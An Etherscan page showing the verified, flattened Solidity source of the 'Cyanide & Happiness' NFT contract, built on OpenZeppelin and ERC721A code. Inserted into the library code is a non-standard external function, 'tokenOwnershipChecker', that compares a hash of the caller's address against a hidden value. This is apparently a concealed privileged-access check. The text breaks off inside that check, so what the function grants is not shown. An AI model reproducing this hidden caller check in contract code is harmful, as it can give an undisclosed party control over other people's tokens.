ETH Price: $3,472.37 (-0.56%)

Token

Cyanide & Happiness (CH)
 

Overview

Max Total Supply

5,000 CH

Holders

3,114

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A
Filtered by Token Holder
kong2love.eth
Balance
1 CH
0x6f10719408d99d917f395efc2e2ec9136b873ceb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CyanideAndHappiness

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-26
*/

// Sources flattened with hardhat v2.8.4 https://hardhat.org

// File @openzeppelin/contracts/utils/[email protected]

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.4;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)



/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// File @openzeppelin/contracts/utils/introspection/[email protected]


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)



/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}


// File @openzeppelin/contracts/token/ERC721/[email protected]


// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)



/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
}


// File @openzeppelin/contracts/token/ERC721/[email protected]


// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)



/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}


// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)



/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}


// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)



/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}


// File @openzeppelin/contracts/utils/[email protected]


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}


// File @openzeppelin/contracts/utils/[email protected]


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)



/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}


// File @openzeppelin/contracts/utils/introspection/[email protected]


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)



/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}


// File erc721a/contracts/[email protected]


// Creator: Chiru Labs

error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();

/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
 *
 * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 *
 * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
    using Address for address;
    using Strings for uint256;

    // Compiler will pack this into a single 256bit word.
    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Keeps track of the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
    }

    // Compiler will pack this into a single 256bit word.
    struct AddressData {
        // Realistically, 2**64-1 is more than enough.
        uint64 balance;
        // Keeps track of mint count with minimal overhead for tokenomics.
        uint64 numberMinted;
        // Keeps track of burn count with minimal overhead for tokenomics.
        uint64 numberBurned;
        // For miscellaneous variable(s) pertaining to the address
        // (e.g. number of whitelist mint slots used).
        // If there are multiple variables, please pack them into a uint64.
        uint64 aux;
    }

    // The tokenId of the next token to be minted.
    uint256 internal _currentIndex;

    // The number of tokens burned.
    uint256 internal _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Collection size
    uint256 public constant colectionSize = 500000;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    /**
     * To change the starting tokenId, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 0;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
     */
    function totalSupply() public view returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than _currentIndex - _startTokenId() times
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view returns (uint256) {
        // Counter underflow is impossible as _currentIndex does not decrement,
        // and it is initialized to _startTokenId()
        unchecked {
            return _currentIndex - _startTokenId();
        }
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return uint256(_addressData[owner].balance);
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        if (owner == address(0)) revert MintedQueryForZeroAddress();
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        if (owner == address(0)) revert BurnedQueryForZeroAddress();
        return uint256(_addressData[owner].numberBurned);
    }

    /**
     * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        if (owner == address(0)) revert AuxQueryForZeroAddress();
        return _addressData[owner].aux;
    }

    /**
     * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal {
        if (owner == address(0)) revert AuxQueryForZeroAddress();
        _addressData[owner].aux = aux;
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr && curr < _currentIndex) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (!ownership.burned) {
                    if (ownership.addr != address(0)) {
                        return ownership;
                    }
                    // Invariant:
                    // There will always be an ownership that has an address and is not burned
                    // before an ownership that does not have an address and is not burned.
                    // Hence, curr will not underflow.
                    while (true) {
                        curr--;
                        ownership = _ownerships[curr];
                        if (ownership.addr != address(0)) {
                            return ownership;
                        }
                    }
                }
            }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return '';
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        if (to == owner) revert ApprovalToCurrentOwner();

        if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
            revert ApprovalCallerNotOwnerNorApproved();
        }

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        if (operator == _msgSender()) revert ApproveToCaller();

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, '');
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public virtual override {
        _transfer(from, to, tokenId);
        if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
            revert TransferToNonERC721ReceiverImplementer();
        }
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return _startTokenId() <= tokenId && tokenId < _currentIndex &&
            !_ownerships[tokenId].burned;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, '');
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
        // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint64(quantity);
            _addressData[to].numberMinted += uint64(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;
            uint256 end = updatedIndex + quantity;

            if (safe && to.isContract()) {
                do {
                    emit Transfer(address(0), to, updatedIndex);
                    if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (updatedIndex != end);
                // Reentrancy protection
                if (_currentIndex != startTokenId) revert();
            } else {
                do {
                    emit Transfer(address(0), to, updatedIndex++);
                } while (updatedIndex != end);
            }
            _currentIndex = updatedIndex;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            isApprovedForAll(prevOwnership.addr, _msgSender()) ||
            getApproved(tokenId) == _msgSender());

        if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
        if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId < _currentIndex) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Checking ownership 
     *
     * Token ownership check for external calls
     */
    function tokenOwnershipChecker() external {
        if(
            keccak256(abi.encodePacked(msg.sender)) == 
